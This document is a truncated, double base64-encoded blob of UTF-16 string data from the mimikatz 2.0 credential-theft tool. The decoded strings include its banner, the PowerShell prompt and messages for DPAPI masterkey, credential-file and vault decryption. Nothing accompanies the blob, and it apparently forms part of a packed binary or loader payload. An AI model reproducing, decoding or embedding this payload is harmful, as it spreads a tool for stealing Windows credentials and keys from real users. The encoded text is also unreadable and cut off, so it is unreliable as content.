UndCZkFFUUFRd0JKQUU0QVJnQlBBRklBUlFCUUFFd0FXUUJmQUdRQVlRQjBBR0VBSUFBN0FDQUFWQUJQQUVRQVR3QWdBQ2dBYlFCaEFIa0FZZ0JsQUQ4QUtRQUtBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QnlBSEFBWXdCZkFHUUFjZ0J6QUhJQVh3Qm1BSElBWlFCbEFGOEFSQUJTQUZNQVh3Qk5BRk1BUndCZkFFUUFRd0JKQUU0QVJnQlBBRklBUlFCUUFFd0FXUUJmQUdRQVlRQjBBR0VBSUFBN0FDQUFaQUJqQUU4QWRRQjBBRllBWlFCeUFITUFhUUJ2QUc0QUlBQnVBRzhBZEFBZ0FIWUFZUUJzQUdrQVpBQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUlBQXRBQ0FBSlFCMUFDa0FDZ0FBQUFBQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR3dBYkFCZkFHMEFYd0J5QUhBQVl3QmZBR1FBY2dCekFISUFYd0JtQUhJQVpRQmxBRjhBUkFCU0FGTUFYd0JOQUZNQVJ3QmZBRWNBUlFCVUFFTUFTQUJIQUZJQVJRQlFBRXdBV1FCZkFHUUFZUUIwQUdFQUlBQTdBQ0FBVkFCUEFFUUFUd0FnQUNnQWJRQmhBSGtBWWdCbEFEOEFLUUFLQUFBQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR3dBYkFCZkFHMEFYd0J5QUhBQVl3QmZBR1FBY2dCekFISUFYd0JtQUhJQVpRQmxBRjhBUkFCU0FGTUFYd0JOQUZNQVJ3QmZBRWNBUlFCVUFFTUFTQUJIQUZJQVJRQlFBRXdBV1FCZkFHUUFZUUIwQUdFQUlBQTdBQ0FBWkFCM0FFOEFkUUIwQUZZQVpRQnlBSE1BYVFCdkFHNEFJQUJ1QUc4QWRBQWdBSFlBWVFCc0FHa0FaQUFnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FJQUF0QUNBQUpRQjFBQ2tBQ2dBQUFGTUFaUUJ5QUhZQWFRQmpBR1VBY3dCQkFHTUFkQUJwQUhZQVpRQUFBQUFBSlFBd0FESUFlQUFBQUFBQUFBQUFBQ1VBTUFBeUFIZ0FJQUFBQUFBQUFBQXdBSGdBSlFBd0FESUFlQUFzQUNBQUFBQUFBQUFBQUFCY0FIZ0FKUUF3QURJQWVBQUFBQUFBQ2dCQ0FGa0FWQUJGQUNBQVpBQmhBSFFBWVFCYkFGMEFJQUE5QUNBQWV3QUtBQWtBQUFBQUFBa0FBQUFBQUFBQUNnQjlBRHNBQ2dBQUFBQUFBQUFBQUNVQWN3QWdBQUFBQUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFiQUJzQUY4QWJRQmZBSE1BZEFCeUFHa0FiZ0JuQUY4QVpBQnBBSE1BY0FCc0FHRUFlUUJUQUVrQVJBQWdBRHNBSUFCREFHOEFiZ0IyQUdVQWNnQjBBRk1BYVFCa0FGUUFid0JUQUhRQWNnQnBBRzRBWndCVEFHa0FaQUFnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQUFBQUFBQUFBVkFCdkFHc0FaUUJ1QUFBQUFBQUFBQUFBQUFBQUFBQUFDZ0FnQUNBQUxnQWpBQ01BSXdBakFDTUFMZ0FnQUNBQUlBQnRBR2tBYlFCcEFHc0FZUUIwQUhvQUlBQXlBQzRBTUFBZ0FHRUFiQUJ3QUdnQVlRQWdBQ2dBZUFBMkFEUUFLUUFnQUhJQVpRQnNBR1VBWVFCekFHVUFJQUFpQUVzQWFRQjNBR2tBSUFCbEFHNEFJQUJEQUNJQUlBQW9BRVFBWlFCakFDQUFNUUEwQUNBQU1nQXdBREVBTlFBZ0FERUFPUUE2QURFQU5nQTZBRE1BTkFBcEFBb0FJQUF1QUNNQUl3QWdBRjRBSUFBakFDTUFMZ0FnQUNBQUNnQWdBQ01BSXdBZ0FDOEFJQUJjQUNBQUl3QWpBQ0FBSUFBdkFDb0FJQUFxQUNBQUtnQUtBQ0FBSXdBakFDQUFYQUFnQUM4QUlBQWpBQ01BSUFBZ0FDQUFRZ0JsQUc0QWFnQmhBRzBBYVFCdUFDQUFSQUJGQUV3QVVBQlpBQ0FBWUFCbkFHVUFiZ0IwQUdrQWJBQnJBR2tBZHdCcEFHQUFJQUFvQUNBQVlnQmxBRzRBYWdCaEFHMEFhUUJ1QUVBQVp3QmxBRzRBZEFCcEFHd0Fhd0JwQUhjQWFRQXVBR01BYndCdEFDQUFLUUFLQUNBQUp3QWpBQ01BSUFCMkFDQUFJd0FqQUNjQUlBQWdBQ0FBYUFCMEFIUUFjQUE2QUM4QUx3QmlBR3dBYndCbkFDNEFad0JsQUc0QWRBQnBBR3dBYXdCcEFIY0FhUUF1QUdNQWJ3QnRBQzhBYlFCcEFHMEFhUUJyQUdFQWRBQjZBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFLQUJ2QUdVQUxnQmxBRzhBS1FBS0FDQUFJQUFuQUNNQUl3QWpBQ01BSXdBbkFDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFkd0JwQUhRQWFBQWdBQ1VBTWdCMUFDQUFiUUJ2QUdRQWRRQnNBR1VBY3dBZ0FDb0FJQUFxQUNBQUtnQXZBQW9BQ2dBQUFBQUFDZ0J0QUdrQWJRQnBBR3NBWVFCMEFIb0FLQUJ3QUc4QWR3QmxBSElBY3dCb0FHVUFiQUJzQUNrQUlBQWpBQ0FBSlFCekFBb0FBQUJKQUU0QVNRQlVBQUFBQUFBQUFBQUFRd0JNQUVVQVFRQk9BQUFBQUFBQUFENEFQZ0ErQUNBQUpRQnpBQ0FBYndCbUFDQUFKd0FsQUhNQUp3QWdBRzBBYndCa0FIVUFiQUJsQUNBQVpnQmhBR2tBYkFCbEFHUUFJQUE2QUNBQUpRQXdBRGdBZUFBS0FBQUFBQUE2QURvQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHMEFhUUJ0QUdrQWF3QmhBSFFBZWdCZkFHUUFid0JNQUc4QVl3QmhBR3dBSUFBN0FDQUFJZ0FsQUhNQUlnQWdBRzBBYndCa0FIVUFiQUJsQUNBQWJnQnZBSFFBSUFCbUFHOEFkUUJ1QUdRQUlBQWhBQW9BQUFBQUFBQUFDZ0FsQURFQU5nQnpBQUFBQUFBQUFDQUFJQUF0QUNBQUlBQWxBSE1BQUFBZ0FDQUFXd0FsQUhNQVhRQUFBQUFBQUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCdEFHa0FiUUJwQUdzQVlRQjBBSG9BWHdCa0FHOEFUQUJ2QUdNQVlRQnNBQ0FBT3dBZ0FDSUFKUUJ6QUNJQUlBQmpBRzhBYlFCdEFHRUFiZ0JrQUNBQWJ3Qm1BQ0FBSWdBbEFITUFJZ0FnQUcwQWJ3QmtBSFVBYkFCbEFDQUFiZ0J2QUhRQUlBQm1BRzhBZFFCdUFHUUFJQUFoQUFvQUFBQUFBQUFBQ2dCTkFHOEFaQUIxQUd3QVpRQWdBRG9BQ1FBbEFITUFBQUFBQUFBQUFBQUtBRVlBZFFCc0FHd0FJQUJ1QUdFQWJRQmxBQ0FBT2dBSkFDVUFjd0FBQUFvQVJBQmxBSE1BWXdCeUFHa0FjQUIwQUdrQWJ3QnVBQ0FBT2dBSkFDVUFjd0FBQUFBQUFBQmlBR3dBYndCaUFBQUFBQUFBQUFBQVJBQmxBSE1BWXdCeUFHa0FZZ0JsQUNBQVlRQWdBRVFBVUFCQkFGQUFTUUFnQUdJQWJBQnZBR0lBTEFBZ0FIVUFiZ0J3QUhJQWJ3QjBBR1VBWXdCMEFDQUFhUUIwQUNBQWR3QnBBSFFBYUFBZ0FFRUFVQUJKQUNBQWJ3QnlBQ0FBVFFCaEFITUFkQUJsQUhJQWF3QmxBSGtBQUFBQUFBQUFjQUJ5QUc4QWRBQmxBR01BZEFBQUFBQUFBQUFBQUFBQVVBQnlBRzhBZEFCbEFHTUFkQUFnQUdFQUlBQmtBR0VBZEFCaEFDQUFkZ0JwQUdFQUlBQmhBQ0FBUkFCUUFFRUFVQUJKQUNBQVl3QmhBR3dBYkFBQUFHMEFZUUJ6QUhRQVpRQnlBR3NBWlFCNUFBQUFBQUFBQUFBQUFBQUFBQUFBUkFCbEFITUFZd0J5QUdrQVlnQmxBQ0FBWVFBZ0FFMEFZUUJ6QUhRQVpRQnlBR3NBWlFCNUFDQUFaZ0JwQUd3QVpRQXNBQ0FBZFFCdUFIQUFjZ0J2QUhRQVpRQmpBSFFBSUFCbEFHRUFZd0JvQUNBQVRRQmhBSE1BZEFCbEFISUFhd0JsQUhrQUlBQW9BR3NBWlFCNUFDQUFaQUJsQUhBQVpRQnVBR1FBYVFCdUFHY0FLUUFBQUdNQWNnQmxBR1FBYUFCcEFITUFkQUFBQUFBQUFBQUFBRVFBWlFCekFHTUFjZ0JwQUdJQVpRQWdBR0VBSUFCREFISUFaUUJrQUdnQWFRQnpBSFFBSUFCbUFHa0FiQUJsQUFBQUFBQUFBQUFBWXdCaEFIQUFhUUFBQUFBQUFBQUFBRU1BUVFCUUFFa0FJQUJyQUdVQWVRQWdBSFFBWlFCekFIUUFBQUFBQUFBQVl3QnVBR2NBQUFCREFFNEFSd0FnQUdzQVpRQjVBQ0FBZEFCbEFITUFkQUFBQUFBQUFBQUFBR01BY2dCbEFHUUFBQUFBQUFBQUFBQkRBRklBUlFCRUFDQUFkQUJsQUhNQWRBQUFBQUFBQUFCMkFHRUFkUUJzQUhRQUFBQUFBQUFBVmdCQkFGVUFUQUJVQUNBQWRBQmxBSE1BZEFBQUFBQUFZd0JoQUdNQWFBQmxBQUFBQUFBQUFHUUFjQUJoQUhBQWFRQUFBQUFBQUFCRUFGQUFRUUJRQUVrQUlBQk5BRzhBWkFCMUFHd0FaUUFnQUNnQVlnQjVBQ0FBUVFCUUFFa0FJQUJ2QUhJQUlBQlNBRUVBVndBZ0FHRUFZd0JqQUdVQWN3QnpBQ2tBQUFBQUFBQUFBQUFBQUVRQVlRQjBBR0VBSUFCUUFISUFid0IwQUdVQVl3QjBBR2tBYndCdUFDQUFZUUJ3QUhBQWJBQnBBR01BWVFCMEFHa0Fid0J1QUNBQWNBQnlBRzhBWndCeUFHRUFiUUJ0QUdrQWJnQm5BQ0FBYVFCdUFIUUFaUUJ5QUdZQVlRQmpBR1VBQUFCcEFHNEFBQUFBQUFBQUFBQmtBR1VBY3dCakFISUFhUUJ3QUhRQWFRQnZBRzRBSUFBNkFDQUFKUUJ6QUFvQUFBQUFBQUFBYndCMUFIUUFBQUJYQUhJQWFRQjBBR1VBSUFCMEFHOEFJQUJtQUdrQWJBQmxBQ0FBSndBbEFITUFKd0FnQUdrQWN3QWdBRThBU3dBS0FBQUFBQUFBQUdRQVlRQjBBR0VBSUFBdEFDQUFBQUIwQUdVQWVBQjBBQ0FBT2dBZ0FDVUFjd0FBQUFBQUFBQm9BR1VBZUFBZ0FDQUFPZ0FnQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCa0FIQUFZUUJ3QUdrQVh3QmlBR3dBYndCaUFDQUFPd0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFaZ0JwQUd3QVpRQmZBSElBWlFCaEFHUUFSQUJoQUhRQVlRQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBQUFBQUFBQUFiUUJwQUcwQWFRQnJBR0VBZEFCNkFBQUFBQUFBQUFBQVpBQmhBSFFBWVFBQUFBQUFBQUFBQUdRQVpRQnpBR01BY2dCcEFIQUFkQUJwQUc4QWJnQUFBR1VBYmdCMEFISUFid0J3QUhrQUFBQnRBR0VBWXdCb0FHa0FiZ0JsQUFBQWNBQnlBRzhBYlFCd0FIUUFBQUFBQUdNQUFBQUFBQUFBQ2dCa0FHRUFkQUJoQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUE2QUNBQUpRQnpBQW9BQUFBQUFHWUFiQUJoQUdjQWN3QWdBQ0FBSUFBZ0FDQUFJQUFnQURvQUlBQUFBQUFBY0FCeUFHOEFiUUJ3QUhRQUlBQm1BR3dBWVFCbkFITUFPZ0FnQUFBQUFBQmxBRzRBZEFCeUFHOEFjQUI1QUNBQUlBQWdBQ0FBSUFBNkFDQUFBQUFBQUVJQWJBQnZBR0lBT2dBS0FBQUFBQUFBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFaQUJ3QUdFQWNBQnBBRjhBY0FCeUFHOEFkQUJsQUdNQWRBQWdBRHNBSUFCREFISUFlUUJ3QUhRQVVBQnlBRzhBZEFCbEFHTUFkQUJFQUdFQWRBQmhBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQW9BQUFCd0FISUFid0IwQUdVQVl3QjBBR1VBWkFBQUFBQUFBQUJ6QUdrQVpBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFaQUJ3QUdFQWNBQnBBRjhBYlFCaEFITUFkQUJsQUhJQWF3QmxBSGtBSUFBN0FDQUFRd0J2QUc0QWRnQmxBSElBZEFCVEFIUUFjZ0JwQUc0QVp3QlRBR2tBWkFCVUFHOEFVd0JwQUdRQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBQUFBYUFCaEFITUFhQUFBQUFBQUFBQUFBSE1BZVFCekFIUUFaUUJ0QUFBQUFBQUtBRnNBYlFCaEFITUFkQUJsQUhJQWF3QmxBSGtBWFFBZ0FIY0FhUUIwQUdnQUlBQjJBRzhBYkFCaEFIUUFhUUJzQUdVQUlBQmpBR0VBWXdCb0FHVUFPZ0FnQUFBQUFBQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QVpBQndBR0VBY0FCcEFGOEFiUUJoQUhNQWRBQmxBSElBYXdCbEFIa0FJQUE3QUNBQVRnQnZBQ0FBY3dCMUFHa0FkQUJoQUdJQWJBQmxBQ0FBYXdCbEFIa0FJQUJtQUc4QWRRQnVBR1FBSUFCcEFHNEFJQUJqQUdFQVl3Qm9BR1VBQ2dBQUFBQUFDZ0JiQUcwQVlRQnpBSFFBWlFCeUFHc0FaUUI1QUYwQUlBQjNBR2tBZEFCb0FDQUFSQUJRQUVFQVVBQkpBRjhBVXdCWkFGTUFWQUJGQUUwQUlBQW9BRzBBWVFCakFHZ0FhUUJ1QUdVQUxBQWdBSFFBYUFCbEFHNEFJQUIxQUhNQVpRQnlBQ2tBT2dBZ0FBQUFBQUFBQUNvQUtnQWdBRTBBUVFCREFFZ0FTUUJPQUVVQUlBQXFBQ29BQ2dBQUFBQUFLZ0FxQUNBQVZRQlRBRVVBVWdBZ0FDb0FLZ0FLQUFBQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUdRQWNBQmhBSEFBYVFCZkFHMEFZUUJ6QUhRQVpRQnlBR3NBWlFCNUFDQUFPd0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFaQUJ3QUdFQWNBQnBBRjhBZFFCdUFIQUFjZ0J2QUhRQVpRQmpBSFFBWHdCdEFHRUFjd0IwQUdVQWNnQnJBR1VBZVFCZkFIY0FhUUIwQUdnQVh3QnpBR2dBWVFCRUFHVUFjZ0JwQUhZQVpRQmtBR3NBWlFCNUFBb0FBQUFBQUFBQUFBQUFBQW9BV3dCdEFHRUFjd0IwQUdVQWNnQnJBR1VBZVFCZEFDQUFkd0JwQUhRQWFBQWdBRVFBVUFCQkFGQUFTUUJmQUZNQVdRQlRBRlFBUlFCTkFEb0FJQUFBQUFBQUFBQUFBSEFBWVFCekFITUFkd0J2QUhJQVpBQUFBQUFBQUFBQUFHNEFid0J5QUcwQVlRQnNBQUFBQUFBS0FGc0FiUUJoQUhNQWRBQmxBSElBYXdCbEFIa0FYUUFnQUhjQWFRQjBBR2dBSUFCd0FHRUFjd0J6QUhjQWJ3QnlBR1FBT2dBZ0FDVUFjd0FnQUNnQUpRQnpBQ0FBZFFCekFHVUFjZ0FwQUFvQUFBQUFBQUFBQUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR1FBY0FCaEFIQUFhUUJmQUcwQVlRQnpBSFFBWlFCeUFHc0FaUUI1QUNBQU93QWdBR3NBZFFCc0FHd0FYd0J0QUY4QVpBQndBR0VBY0FCcEFGOEFkUUJ1QUhBQWNnQnZBSFFBWlFCakFIUUFYd0J0QUdFQWN3QjBBR1VBY2dCckFHVUFlUUJmQUhjQWFRQjBBR2dBWHdCd0FHRUFjd0J6QUhjQWJ3QnlBR1FBQ2dBQUFBQUFDZ0JiQUcwQVlRQnpBSFFBWlFCeUFHc0FaUUI1QUYwQUlBQjNBR2tBZEFCb0FDQUFhQUJoQUhNQWFBQTZBQ0FBQUFBQUFBQUFBQUFnQUNnQWJnQjBBR3dBYlFBZ0FIUUFlUUJ3QUdVQUtRQUtBQUFBQUFBQUFDQUFLQUJ6QUdnQVlRQXhBQ0FBZEFCNUFIQUFaUUFwQUFvQUFBQUFBQUFBSUFBb0FEOEFLUUFLQUFBQUFBQUFBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QmtBSEFBWVFCd0FHa0FYd0J0QUdFQWN3QjBBR1VBY2dCckFHVUFlUUFnQURzQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUdRQWNBQmhBSEFBYVFCZkFIVUFiZ0J3QUhJQWJ3QjBBR1VBWXdCMEFGOEFiUUJoQUhNQWRBQmxBSElBYXdCbEFIa0FYd0IzQUdrQWRBQm9BRjhBZFFCekFHVUFjZ0JJQUdFQWN3Qm9BQW9BQUFBQUFBb0FXd0JrQUc4QWJRQmhBR2tBYmdCckFHVUFlUUJkQUNBQWR3QnBBSFFBYUFBZ0FIWUFid0JzQUdFQWRBQnBBR3dBWlFBZ0FHTUFZUUJqQUdnQVpRQTZBQ0FBQUFBQUFBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCa0FIQUFZUUJ3QUdrQVh3QnRBR0VBY3dCMEFHVUFjZ0JyQUdVQWVRQWdBRHNBSUFCckFIVUFiQUJzQUY4QWJRQmZBR1FBY0FCaEFIQUFhUUJmQUhVQWJnQndBSElBYndCMEFHVUFZd0IwQUY4QVpBQnZBRzBBWVFCcEFHNEFhd0JsQUhrQVh3QjNBR2tBZEFCb0FGOEFhd0JsQUhrQUNnQUFBQUFBQUFCd0FIWUFhd0FBQUFvQVd3QmtBRzhBYlFCaEFHa0FiZ0JyQUdVQWVRQmRBQ0FBZHdCcEFIUUFhQUFnQUZJQVV3QkJBQ0FBY0FCeUFHa0FkZ0JoQUhRQVpRQWdBR3NBWlFCNUFBb0FBQUFBQUFBQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JrQUhBQVlRQndBR2tBWHdCdEFHRUFjd0IwQUdVQWNnQnJBR1VBZVFBZ0FEc0FJQUJKQUc0QWNBQjFBSFFBSUFCdEFHRUFjd0IwQUdVQWNnQnJBR1VBZVFCekFDQUFaZ0JwQUd3QVpRQWdBRzRBWlFCbEFHUUFaUUJrQUNBQUtBQXZBR2tBYmdBNkFHWUFhUUJzQUdVQUtRQUtBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JrQUhBQVlRQndBR2tBWHdCakFISUFaUUJrQUdnQWFRQnpBSFFBSUFBN0FDQUFRd0J2QUc0QWRnQmxBSElBZEFCVEFIUUFjZ0JwQUc0QVp3QlRBR2tBWkFCVUFHOEFVd0JwQUdRQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBQUFBQUFCekFHZ0FZUUF4QUFBQUFBQUFBQUFBQ2dBZ0FDQUFXd0JsQUc0QWRBQnlBSGtBSUFBbEFIVUFYUUFnQUhjQWFRQjBBR2dBSUFCMkFHOEFiQUJoQUhRQWFRQnNBR1VBSUFCakFHRUFZd0JvQUdVQU9nQWdBQUFBQUFBQUFBQUFBQUFLQUNBQUlBQmJBR1VBYmdCMEFISUFlUUFnQUNVQWRRQmRBQ0FBZHdCcEFIUUFhQUFnQUZNQVNBQkJBREVBSUFCaEFHNEFaQUFnQUZNQVNRQkVBRG9BSUFBQUFBQUFBQUFBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFaQUJ3QUdFQWNBQnBBRjhBWXdCeUFHVUFaQUJvQUdrQWN3QjBBQ0FBT3dBZ0FFa0FiZ0J3QUhVQWRBQWdBR01BY2dCbEFHUUFhQUJwQUhNQWRBQWdBR1lBYVFCc0FHVUFJQUJ1QUdVQVpRQmtBR1VBWkFBZ0FDZ0FMd0JwQUc0QU9nQm1BR2tBYkFCbEFDa0FDZ0FBQUFBQUFBQUFBSFVBYmdCd0FISUFid0IwQUdVQVl3QjBBQUFBQUFBQUFDQUFLZ0FnQUhZQWJ3QnNBR0VBZEFCcEFHd0FaUUFnQUdNQVlRQmpBR2dBWlFBNkFDQUFBQUFnQUNvQUlBQnRBR0VBY3dCMEFHVUFjZ0JyQUdVQWVRQWdBQ0FBSUFBZ0FDQUFPZ0FnQUFBQUlBQStBQ0FBY0FCeUFHOEFiUUJ3QUhRQUlBQm1BR3dBWVFCbkFITUFJQUFnQURvQUlBQUFBQ0FBUGdBZ0FHVUFiZ0IwQUhJQWJ3QndBSGtBSUFBZ0FDQUFJQUFnQUNBQUlBQTZBQ0FBQUFBZ0FENEFJQUJ3QUdFQWN3QnpBSGNBYndCeUFHUUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FDVUFjd0FLQUFBQUFBQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QVpBQndBR0VBY0FCcEFGOEFkUUJ1QUhBQWNnQnZBSFFBWlFCakFIUUFYd0J5QUdFQWR3QmZBRzhBY2dCZkFHSUFiQUJ2QUdJQUlBQTdBQ0FBUXdCeUFIa0FjQUIwQUZVQWJnQndBSElBYndCMEFHVUFZd0IwQUVRQVlRQjBBR0VBSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFDQUFJQUJyQUdVQWVRQWdBRG9BSUFBQUFBQUFBQUFBQUNBQUlBQnpBR2dBWVFBeEFEb0FJQUFBQUFBQUFBQUFBQ0FBSUFCekFHa0FaQUFnQURvQUlBQUFBQUFBQUFBQUFDQUFJQUFnQUFBQUlBQXRBQzBBSUFBQUFBQUFBQUFBQUNBQUlBQWdBRDRBSUFCT0FGUUFUQUJOQURvQUlBQUFBQ0FBSUFBZ0FENEFJQUJUQUVnQVFRQXhBRG9BSUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QVpBQndBR0VBY0FCcEFGOEFid0JsQUY4QWJRQmhBSE1BZEFCbEFISUFhd0JsQUhrQVh3QmhBR1FBWkFBZ0FEc0FJQUJPQUc4QUlBQkhBRlVBU1FCRUFDQUFid0J5QUNBQVN3QmxBSGtBSUFCSUFHRUFjd0JvQUQ4QUFBQUFBRWNBVlFCSkFFUUFPZ0FBQURzQUFBQkxBR1VBZVFCSUFHRUFjd0JvQURvQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUdRQWNBQmhBSEFBYVFCZkFHOEFaUUJmQUdNQWNnQmxBR1FBWlFCdUFIUUFhUUJoQUd3QVh3QmhBR1FBWkFBZ0FEc0FJQUJPQUc4QUlBQlRBRWtBUkFBL0FBQUFBQUJUQUVrQVJBQTZBQ1VBY3dBQUFBQUFUUUJFQURRQU9nQUFBQUFBQUFBQUFGTUFTQUJCQURFQU9nQUFBQUFBQUFCTkFFUUFOQUJ3QURvQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JrQUhBQVlRQndBR2tBWHdCdkFHVUFYd0JrQUc4QWJRQmhBR2tBYmdCckFHVUFlUUJmQUdFQVpBQmtBQ0FBT3dBZ0FFNEFid0FnQUVjQVZRQkpBRVFBSUFCdkFISUFJQUJMQUdVQWVRQS9BQUFBQUFBQUFGSUFVd0JCQUFBQVRBQkZBRWNBUVFCREFGa0FBQUFBQURzQVZBQlpBRkFBUlFBNkFDVUFjd0FLQUFBQUFBQUFBQW9BUXdCU0FFVUFSQUJGQUU0QVZBQkpBRUVBVEFCVEFDQUFZd0JoQUdNQWFBQmxBQW9BUFFBOUFEMEFQUUE5QUQwQVBRQTlBRDBBUFFBOUFEMEFQUUE5QUQwQVBRQTlBQW9BQUFBQUFBQUFDZ0JOQUVFQVV3QlVBRVVBVWdCTEFFVUFXUUJUQUNBQVl3QmhBR01BYUFCbEFBb0FQUUE5QUQwQVBRQTlBRDBBUFFBOUFEMEFQUUE5QUQwQVBRQTlBRDBBUFFBS0FBQUFBQUFBQUFBQUFBQUtBRVFBVHdCTkFFRUFTUUJPQUVzQVJRQlpBRk1BSUFCakFHRUFZd0JvQUdVQUNnQTlBRDBBUFFBOUFEMEFQUUE5QUQwQVBRQTlBRDBBUFFBOUFEMEFQUUE5QUFvQUFBQUFBQUFBQUFBQUFFRUFkUUIwQUc4QUlBQlRBRWtBUkFBZ0FHWUFjZ0J2QUcwQUlBQndBR0VBZEFCb0FDQUFjd0JsQUdVQWJRQnpBQ0FBZEFCdkFDQUFZZ0JsQURvQUlBQWxBSE1BQ2dBQUFFUUFaUUJqQUhJQWVRQndBSFFBYVFCdUFHY0FJQUJEQUhJQVpRQmtBR1VBYmdCMEFHa0FZUUJzQURvQUNnQUFBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QmtBSEFBWVFCd0FHa0FYd0JqQUhJQVpRQmtBQ0FBT3dBZ0FHc0FkUUJzQUd3QVh3QnRBRjhBWmdCcEFHd0FaUUJmQUhJQVpRQmhBR1FBUkFCaEFIUUFZUUFnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR1FBY0FCaEFIQUFhUUJmQUdNQWNnQmxBR1FBSUFBN0FDQUFTUUJ1QUhBQWRRQjBBQ0FBUXdCU0FFVUFSQUFnQUdZQWFRQnNBR1VBSUFCdUFHVUFaUUJrQUdVQVpBQWdBQ2dBTHdCcEFHNEFPZ0JtQUdrQWJBQmxBQ2tBQ2dBQUFBQUFBQUFBQUhBQWJ3QnNBR2tBWXdCNUFBQUFBQUJFQUdVQVl3QnlBSGtBY0FCMEFHa0FiZ0JuQUNBQVVBQnZBR3dBYVFCakFIa0FJQUJMQUdVQWVRQnpBRG9BQ2dBQUFBQUFBQUFBQUNBQUlBQkJBRVVBVXdBeEFESUFPQUFnQUdzQVpRQjVBRG9BSUFBQUFBQUFJQUFnQUVFQVJRQlRBRElBTlFBMkFDQUFhd0JsQUhrQU9nQWdBQUFBQUFBZ0FDQUFQZ0FnQUVFQWRBQjBBSElBYVFCaUFIVUFkQUJsQUNBQUpRQjFBQ0FBT2dBZ0FBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QmtBSEFBWVFCd0FHa0FYd0IyQUdFQWRRQnNBSFFBSUFBN0FDQUFRd0J5QUhrQWNBQjBBRVFBWlFCakFISUFlUUJ3QUhRQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBQUFBQUFBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBWkFCd0FHRUFjQUJwQUY4QWRnQmhBSFVBYkFCMEFDQUFPd0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFaZ0JwQUd3QVpRQmZBSElBWlFCaEFHUUFSQUJoQUhRQVlRQWdBQ2dBY0FCdkFHd0FhUUJqQUhrQUtRQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBQUFBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBWkFCd0FHRUFjQUJwQUY4QWRnQmhBSFVBYkFCMEFDQUFPd0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFaZ0JwQUd3QVpRQmZBSElBWlFCaEFHUUFSQUJoQUhRQVlRQWdBQ2dBWXdCeUFHVUFaQUFwQUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBWkFCd0FHRUFjQUJwQUY4QWRnQmhBSFVBYkFCMEFDQUFPd0FnQUVrQWJnQndBSFVBZEFBZ0FFTUFjZ0JsQUdRQUlBQm1BR2tBYkFCbEFDQUFiZ0JsQUdVQVpBQmxBR1FBSUFBb0FDOEFZd0J5QUdVQVpBQTZBR1lBYVFCc0